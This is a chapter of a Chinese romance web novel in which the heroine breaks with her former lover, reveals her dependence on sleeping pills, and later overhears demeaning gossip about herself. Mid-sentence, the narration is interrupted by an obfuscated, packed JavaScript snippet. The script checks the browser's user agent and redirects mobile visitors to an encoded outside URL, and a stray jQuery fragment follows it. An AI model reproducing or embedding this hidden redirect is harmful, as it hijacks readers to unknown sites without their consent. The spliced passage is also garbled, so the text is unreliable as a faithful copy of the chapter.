41. 再度决裂

作品:《公主病与斯德哥尔摩[破镜重圆]

    房间里骤然安静下来,唯余窗外偶尔传来的鸟鸣,林予薇站在原地,良久未动,阳光暖融融地照在身上,她却觉得有一丝寒意自心底蔓延开来。


    她刚和衣躺下,试图在这片混乱中寻得片刻安宁,一阵急促却克制的敲门声便骤然响起,笃笃笃,每声都敲在她紧绷的神经上。


    林予薇深吸一口气起身开门,民宿的木门上没有安装猫眼,她只得打开门锁,刚把门拉开一道缝隙,还未看清门外的人是谁,一个带着寒凉水汽的高大身影便不容拒绝地闯了进来,他反手轻阖上门,“咔哒”一声,将外界彻底隔绝。


    林予薇后退几步,看清来人,是顾清言。


    他显然也未曾休息,额前的发丝有些凌乱,眉宇间带着一丝疲惫,但更多的是一种压抑到了极致、即将冲破临界点的焦灼和沉郁。


    民宿房间逼仄的空间似乎因他的闯入而瞬间缩小,他高大的身形带来一种令人窒息的压迫感,他一步步靠近,目光如灼热的炬火,牢牢锁住她,仿佛要将她的灵魂都看穿,不容许有丝毫闪躲。


    “现在没有别人了。”顾清言终于开口,声音低沉沙哑得厉害,完全失去了往日那种游刃有余的冷静自持,带着一种破釜沉舟、孤注一掷的迫切:“告诉我,予薇,我们……之后……”


    林予薇被他这突如其来的闯入和直接到近乎粗暴的逼问弄得心慌意乱,下意识又后退了一小步,纤细的脊背抵在身后冰凉的墙壁,无处可逃了。


    顾清言身上那熟悉又令人心颤的气息霸道地充斥着她这方私密的空间,昨夜木屋里那些炽热、混乱、不受控制的缠绵细节不受控制地浮现脑海,让她几乎要喘不过气。


    “没有之后了,顾清言。”她偏过头,用力避开他那几乎能灼伤人的视线,声音里带着一丝不易察觉的颤抖和强装出来的冰冷决绝:“我要休息了,你出去,现在。”


    他却像是根本没听到她的逐客令,反而向前逼近一步,几乎和她贴在一起,目光沉痛地钉在她苍白而抗拒的脸上:“告诉我原因,是因为周叙白?还是因为……你只是恨我?恨我当初……”


    “都不是!与你无关!”林予薇被他的步步紧逼和猜测刺中了最深的痛处,情绪骤然失控,脱口而出,声音拔高:“是因为我!因为我只要一闭上眼,就能看到过去!那些快乐的,痛苦的,撕心裂肺的……它们从来没有真正离开过我!顾清言,你是我八年来挥之不去的噩梦!这答案够清楚了吗?!你满意了吗?!”


    话一出口,房间里瞬间陷入死一般的寂静,空气仿佛都凝固了。


    顾清言完全没想到会是这个答案,他像是被一道凭空劈下的惊雷狠狠击中,猛地僵在原地,动弹不得,他脸上所有的急切、焦灼、甚至那一点点卑微而脆弱的希冀,都在瞬间褪得干干净净,只剩下全然的、难以置信的震惊和一种被彻底击垮的苍白。


    然而,林予薇积压已久的情绪却如同开闸的洪水,再也收束不住,她似乎下定了决心,要彻底斩断所有可能,又或许是被长期以来的痛苦折磨得失去了最后一丝理智,猛地抓过放在床头柜上的随身背包,胡乱地扯开拉链,从里面近乎粗暴地抓出两个白色的、小巧的药瓶,歇斯底里地举到他面前,瓶身因为她手的剧烈颤抖而相互碰撞,发出细微却刺耳的声响。


    “你看清楚!顾清言!你不是一直问我为什么吗?!你不是想要原因吗?!”她的声音带着崩溃的哭腔和一种自暴自弃的尖锐:“从回国后和你在拍卖会上重逢!到这个该死的文化长廊项目开始合作!每一次!每一次和你见面、和你打交道之后,那些记忆就会翻涌上来,掐得我整夜整夜地失眠!喘不过气!我只能靠这些!靠这些安眠药才能勉强睡上几个小时!你现在明白了吗?!你满意了吗?!”


    那两瓶白色的药瓶在她颤抖不止的手中显得格外刺眼,瓶身上冰冷的标签无声却震耳欲聋地诉说着她长期以来的痛苦、挣扎和依赖。


    顾清言的目光死死地盯在那两瓶药上,瞳孔骤然收缩,仿佛被那白色灼伤了眼睛,他脸上的血色褪得一干二净,先前仅仅是震惊和伤痛,此刻却骤然染上了一种近乎惊恐的、彻底的灰败,他像是第一次真正地、血淋淋地意识到,过去的一切给她带来的阴影和折磨,远比他想象中最坏的情况还要深重、具体、残忍……成千上万倍。


    他下意识地伸出手,似乎想要触碰什么,却又像被无形的火焰烫到,指尖在空中剧烈地颤抖了一下,最终无力地、颓然地垂下。


    所有辩解、追问、甚至是道歉的话语都死死地卡在喉咙深处,一个字也挤不出来,他那双总是深邃锐利、仿佛能洞察一切的眼眸,此刻只剩下全然的破碎和一种无法言喻的、沉重的……罪孽感。


    林予薇脱力般地垂下手,两个药瓶从她松开的指间滚落,无声地陷进柔软的床单里,她所有的力气仿佛都在刚才那场爆发中被彻底抽干了,声音变得极其疲惫而空洞,带着一种心如死灰的平静:“对不起……清言,我们都放手吧,好吗?我们的相识,从开始,过程到重逢,都是错误的,分开对我们彼此才是最好的结局,也许只有这样……我们才能真正……各自去获得幸福。”


    顾清言沉默了。他站在那里,像一尊被彻底摧毁、失去灵魂的雕像,那滚落的药瓶仿佛不是落在床上,而是带着千钧重量,狠狠地砸在他的心上,砸碎了他最后一丝残存的幻想和坚持。


    过了许久,久到窗外的天色似乎都又暗沉了几分,他才极其缓慢地、几乎是机械地抬起眼,那双曾盛满星辰傲气、意气风发的眼眸,此刻只剩下一片死寂的、冰冷的灰烬。


    他缓缓开口,每一个字都像是从一片废墟中艰难地刨挖出来,带着一种令人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382243|181203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心碎的、绝望的认命:“是不是……只有我彻底放手,彻底从你的世界消失……你才能睡个好觉?才能……不再需要这些?”


    林予薇的泪水终于无声地汹涌滑落,她死死咬住自己的嘴唇,尝到了咸涩的血腥味,艰难地、重重地点了点头。


    “好。”他哑声应道,声音轻得几乎听不见,却像最后一片秋叶落地的决绝:“如你所愿,项目后续的收尾工作,启辰科技会继续跟进,但我不会再出面,张工会全权负责……不会再让你为难。”


    他的目光最后深深地、沉重地看了她一眼,那目光里包含了太多无法言说的痛苦、懊悔、绝望和最终的了然,然后,他决然地转身,打开门,身影迅速地融入门外走廊昏暗的光影里,没有一丝一毫的留恋。


    门轻轻合上,发出轻微的“咔哒”声。


    林予薇像是被抽走了所有的支撑,沿着冰冷的墙壁滑坐在地上,目光空洞地望着床上那两瓶滚落的、刺眼的白色药瓶,肩膀剧烈地颤抖着,最终再也抑制不住,将脸深深埋入膝盖中,发出压抑到了极致的、无声的痛哭。


    第二天早饭时分,村委食堂里依旧热闹,林予薇却没有再看到那个熟悉的身影,邻桌文化局的几个年轻姑娘正低声交谈:


    “没看到顾总欸?”


    “我听张处长说,顾总公司有急事,昨晚深夜就离开了。”


    “也对噢,一开始我就纳闷,启辰科技那么大的公司,老总竟然会亲自参加这次考察活动。”


    “龙泉村山清水秀,兴许是人家老总想休息休息呗,权当度假。”


    文化长廊的考察活动仍在按部就班地推进,但顾清言的提前离场,非但没有减轻林予薇心里的沉重,反而让她有些心不在焉。她几乎是逼迫自己将全部精力投入到繁杂的工作中,试图用忙碌麻痹所有感官。


    然而,有些传言在角落里悄然滋生,却像无形的藤蔓,无声无息地缠绕上她,越收越紧。


    一次午休间隙,她无意间经过村委办公室那扇虚掩的窗下,里面清晰地传来压低却兴奋的议论声:


    “欸,你们说,顾总怎么突然就走了?之前看他对这个项目不是挺上心的吗?”


    “嗨,这还不明显?没看见周总和林总那天配合得多默契?顾总怕是觉得碍眼,待着尴尬,干脆走了呗。”


    “啧啧,真是人不可貌相,那个林总平时看着挺清冷正经的,没想到手腕这么厉害,周氏集团的太子爷,启辰科技的老板,一个个都对她死心塌地的……”


    “说不定啊,人家能拿下这么重要的项目,靠的就是些‘特殊’本事呢?不然一个新成立的小工作室怎么能啃下那么大的项目,哈哈……”


    “哎,不是我说话难听,她那脸那身段,一看就不是什么正经人!现在很多擦边网红都给自己镀金成艺术家。”